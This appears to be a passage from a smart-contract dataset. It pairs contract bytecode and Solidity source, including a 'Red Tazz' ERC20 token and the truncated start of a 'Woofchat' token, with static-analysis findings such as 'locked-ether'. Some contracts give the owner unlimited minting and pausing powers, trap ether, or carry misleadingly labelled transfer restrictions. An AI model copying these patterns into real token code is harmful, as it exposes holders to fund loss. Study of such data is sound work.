ffffffffffffffffffffffffff160217905550610e858160055461164990919063ffffffff16565b600581905550610edd81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61103c82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461141190919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d182600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164990919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113185780820151818401526020810190506112fd565b50505050905090810190601f1680156113455780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561136757600080fd5b505af115801561137b573d6000803e3d6000fd5b50505050600190509392505050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561142057600080fd5b818303905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158061152e5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561152d5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b806115d35750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156115d25750600654600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f63616e6e6f7420626520746865207a65726f206164647265737300000000000081525060200191505060405180910390fd5b5050565b600081830190508281101561165d57600080fd5b9291505056fea26469706673582212201f147834d94548584ec6187ab520aadb1f0a224c917ab2786130a7f39a8cc49264736f6c63430007060033
|
{"success": true, "error": null, "results": {}}
| 5,158 |
0x01ef8b62ade15dc825b0f1ac7e464da89dbc230f
|
/**
*Submitted for verification at Etherscan.io on 2022-03-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
INTERFACE ERC20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event TransferFrom(address indexed from, address indexed to, uint256 value);
}
/**
* Context
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
//SAFE MATH
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
//OWNABLE
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function pause() public virtual whenNotPaused onlyOwner {
_paused = true;
emit Paused(_msgSender());
}
function unpause() public virtual whenPaused onlyOwner {
_paused = false;
emit Unpaused(_msgSender());
}
}
/**
* TOKEN ERC20
*/
contract ERC20 is Context, IERC20, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor () {
_name = "Red Tazz";
_symbol = "RTZ";
_totalSupply = 0;
}
function pay() public payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public whenNotPaused virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public whenNotPaused virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public whenNotPaused virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
currentAllowance = currentAllowance.sub(amount);
_approve(sender, _msgSender(), currentAllowance);
emit TransferFrom(sender, recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
currentAllowance = currentAllowance.sub(subtractedValue);
_approve(_msgSender(), spender, currentAllowance);
return true;
}
function mint( address recepient, uint amount) external onlyOwner whenNotPaused returns(bool) {
require(amount > 0, "ERC20: Amount must be greater than 0");
_mint(recepient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
senderBalance = senderBalance.sub(amount);
_balances[sender] = senderBalance;
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x6080604052600436106101145760003560e01c80635c975abb116100a057806395d89b411161006457806395d89b4114610370578063a457c2d71461039b578063a9059cbb146103d8578063dd62ed3e14610415578063f2fde38b1461045257610114565b80635c975abb146102af57806370a08231146102da578063715018a6146103175780638456cb591461032e5780638da5cb5b1461034557610114565b806323b872dd116100e757806323b872dd146101b6578063313ce567146101f3578063395093511461021e5780633f4ba83a1461025b57806340c10f191461027257610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd146101815780631b9265b8146101ac575b600080fd5b34801561012557600080fd5b5061012e61047b565b60405161013b9190611bbf565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061190d565b61050d565b6040516101789190611ba4565b60405180910390f35b34801561018d57600080fd5b50610196610573565b6040516101a39190611d81565b60405180910390f35b6101b461057d565b005b3480156101c257600080fd5b506101dd60048036038101906101d891906118ba565b61057f565b6040516101ea9190611ba4565b60405180910390f35b3480156101ff57600080fd5b50610208610737565b6040516102159190611d9c565b60405180910390f35b34801561022a57600080fd5b506102456004803603810190610240919061190d565b610740565b6040516102529190611ba4565b60405180910390f35b34801561026757600080fd5b50610270610834565b005b34801561027e57600080fd5b506102996004803603810190610294919061190d565b610951565b6040516102a69190611ba4565b60405180910390f35b3480156102bb57600080fd5b506102c4610a6e565b6040516102d19190611ba4565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc919061184d565b610a84565b60405161030e9190611d81565b60405180910390f35b34801561032357600080fd5b5061032c610acd565b005b34801561033a57600080fd5b50610343610c07565b005b34801561035157600080fd5b5061035a610d26565b6040516103679190611b89565b60405180910390f35b34801561037c57600080fd5b50610385610d4f565b6040516103929190611bbf565b60405180910390f35b3480156103a757600080fd5b506103c260048036038101906103bd919061190d565b610de1565b6040516103cf9190611ba4565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa919061190d565b610f28565b60405161040c9190611ba4565b60405180910390f35b34801561042157600080fd5b5061043c6004803603810190610437919061187a565b610f8e565b6040516104499190611d81565b60405180910390f35b34801561045e57600080fd5b506104796004803603810190610474919061184d565b611015565b005b60606004805461048a90611ee5565b80601f01602080910402602001604051908101604052809291908181526020018280546104b690611ee5565b80156105035780601f106104d857610100808354040283529160200191610503565b820191906000526020600020905b8154815290600101906020018083116104e657829003601f168201915b5050505050905090565b6000610517610a6e565b15610557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054e90611ca1565b60405180910390fd5b6105696105626111be565b84846111c6565b6001905092915050565b6000600354905090565b565b6000610589610a6e565b156105c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c090611ca1565b60405180910390fd5b6105d4848484611391565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061061f6111be565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561069f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069690611cc1565b60405180910390fd5b6106b2838261165c90919063ffffffff16565b90506106c6856106c06111be565b836111c6565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fc0d84ce5c7ff9ca21adb0f8436ff3f4951b4bb78c4e2fae2b6837958b3946ffd856040516107239190611d81565b60405180910390a360019150509392505050565b60006012905090565b600061074a610a6e565b1561078a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078190611ca1565b60405180910390fd5b61082a6107956111be565b8484600260006107a36111be565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108259190611dd3565b6111c6565b6001905092915050565b61083c610a6e565b61087b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087290611c21565b60405180910390fd5b6108836111be565b73ffffffffffffffffffffffffffffffffffffffff166108a1610d26565b73ffffffffffffffffffffffffffffffffffffffff16146108f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ee90611ce1565b60405180910390fd5b60008060146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61093a6111be565b6040516109479190611b89565b60405180910390a1565b600061095b6111be565b73ffffffffffffffffffffffffffffffffffffffff16610979610d26565b73ffffffffffffffffffffffffffffffffffffffff16146109cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c690611ce1565b60405180910390fd5b6109d7610a6e565b15610a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0e90611ca1565b60405180910390fd5b60008211610a5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5190611c01565b60405180910390fd5b610a648383611672565b6001905092915050565b60008060149054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ad56111be565b73ffffffffffffffffffffffffffffffffffffffff16610af3610d26565b73ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090611ce1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c0f610a6e565b15610c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4690611ca1565b60405180910390fd5b610c576111be565b73ffffffffffffffffffffffffffffffffffffffff16610c75610d26565b73ffffffffffffffffffffffffffffffffffffffff1614610ccb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc290611ce1565b60405180910390fd5b6001600060146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610d0f6111be565b604051610d1c9190611b89565b60405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610d5e90611ee5565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8a90611ee5565b8015610dd75780601f10610dac57610100808354040283529160200191610dd7565b820191906000526020600020905b815481529060010190602001808311610dba57829003601f168201915b5050505050905090565b6000610deb610a6e565b15610e2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2290611ca1565b60405180910390fd5b600060026000610e396111be565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eed90611d41565b60405180910390fd5b610f09838261165c90919063ffffffff16565b9050610f1d610f166111be565b85836111c6565b600191505092915050565b6000610f32610a6e565b15610f72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6990611ca1565b60405180910390fd5b610f84610f7d6111be565b8484611391565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61101d6111be565b73ffffffffffffffffffffffffffffffffffffffff1661103b610d26565b73ffffffffffffffffffffffffffffffffffffffff1614611091576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108890611ce1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f890611c41565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122d90611d21565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d90611c61565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113849190611d81565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f890611d01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611471576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146890611be1565b60405180910390fd5b61147c838383611808565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fa90611c81565b60405180910390fd5b611516828261165c90919063ffffffff16565b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115ae82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161164e9190611d81565b60405180910390a350505050565b6000818361166a9190611e29565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d990611d61565b60405180910390fd5b6116ee60008383611808565b6117038160035461180d90919063ffffffff16565b60038190555061175b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180d90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117fc9190611d81565b60405180910390a35050565b505050565b6000818361181b9190611dd3565b905092915050565b600081359050611832816122f6565b92915050565b6000813590506118478161230d565b92915050565b60006020828403121561186357611862611f75565b5b600061187184828501611823565b91505092915050565b6000806040838503121561189157611890611f75565b5b600061189f85828601611823565b92505060206118b085828601611823565b9150509250929050565b6000806000606084860312156118d3576118d2611f75565b5b60006118e186828701611823565b93505060206118f286828701611823565b925050604061190386828701611838565b9150509250925092565b6000806040838503121561192457611923611f75565b5b600061193285828601611823565b925050602061194385828601611838565b9150509250929050565b61195681611e5d565b82525050565b61196581611e6f565b82525050565b600061197682611db7565b6119808185611dc2565b9350611990818560208601611eb2565b61199981611f7a565b840191505092915050565b60006119b1602383611dc2565b91506119bc82611f8b565b604082019050919050565b60006119d4602483611dc2565b91506119df82611fda565b604082019050919050565b60006119f7601483611dc2565b9150611a0282612029565b602082019050919050565b6000611a1a602683611dc2565b9150611a2582612052565b604082019050919050565b6000611a3d602283611dc2565b9150611a48826120a1565b604082019050919050565b6000611a60602683611dc2565b9150611a6b826120f0565b604082019050919050565b6000611a83601083611dc2565b9150611a8e8261213f565b602082019050919050565b6000611aa6602883611dc2565b9150611ab182612168565b604082019050919050565b6000611ac9602083611dc2565b9150611ad4826121b7565b602082019050919050565b6000611aec602583611dc2565b9150611af7826121e0565b604082019050919050565b6000611b0f602483611dc2565b9150611b1a8261222f565b604082019050919050565b6000611b32602583611dc2565b9150611b3d8261227e565b604082019050919050565b6000611b55601f83611dc2565b9150611b60826122cd565b602082019050919050565b611b7481611e9b565b82525050565b611b8381611ea5565b82525050565b6000602082019050611b9e600083018461194d565b92915050565b6000602082019050611bb9600083018461195c565b92915050565b60006020820190508181036000830152611bd9818461196b565b905092915050565b60006020820190508181036000830152611bfa816119a4565b9050919050565b60006020820190508181036000830152611c1a816119c7565b9050919050565b60006020820190508181036000830152611c3a816119ea565b9050919050565b60006020820190508181036000830152611c5a81611a0d565b9050919050565b60006020820190508181036000830152611c7a81611a30565b9050919050565b60006020820190508181036000830152611c9a81611a53565b9050919050565b60006020820190508181036000830152611cba81611a76565b9050919050565b60006020820190508181036000830152611cda81611a99565b9050919050565b60006020820190508181036000830152611cfa81611abc565b9050919050565b60006020820190508181036000830152611d1a81611adf565b9050919050565b60006020820190508181036000830152611d3a81611b02565b9050919050565b60006020820190508181036000830152611d5a81611b25565b9050919050565b60006020820190508181036000830152611d7a81611b48565b9050919050565b6000602082019050611d966000830184611b6b565b92915050565b6000602082019050611db16000830184611b7a565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611dde82611e9b565b9150611de983611e9b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e1e57611e1d611f17565b5b828201905092915050565b6000611e3482611e9b565b9150611e3f83611e9b565b925082821015611e5257611e51611f17565b5b828203905092915050565b6000611e6882611e7b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611ed0578082015181840152602081019050611eb5565b83811115611edf576000848401525b50505050565b60006002820490506001821680611efd57607f821691505b60208210811415611f1157611f10611f46565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20416d6f756e74206d757374206265206772656174657220746860008201527f616e203000000000000000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6122ff81611e5d565b811461230a57600080fd5b50565b61231681611e9b565b811461232157600080fd5b5056fea2646970667358221220bc4e478a2f9f180b11705b9b36ab1a3837cc806b332d22161fba836d52251efe64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,159 |
0x254937db9861d01cb1b4f5ba0f9fc0489fd8b690
|
/**
*Submitted for verification at Etherscan.io on 2022-03-30
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
/**
https://t.me/WooferToken
https://twitter.com/WoofChat
Website Coming at Launch!
WoofChat is the Newest and Upcoming Decentralized Social Media Platform on the Ethereum Blockchain.
It’s a platform that aims to provide an inclusive space allowing freedom of speech!
Following the success of Dogger, WoofChat is here to develop a Snapchat like platform connecting people worldwide!
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Woofchat is Context, IERC20, Ownable {
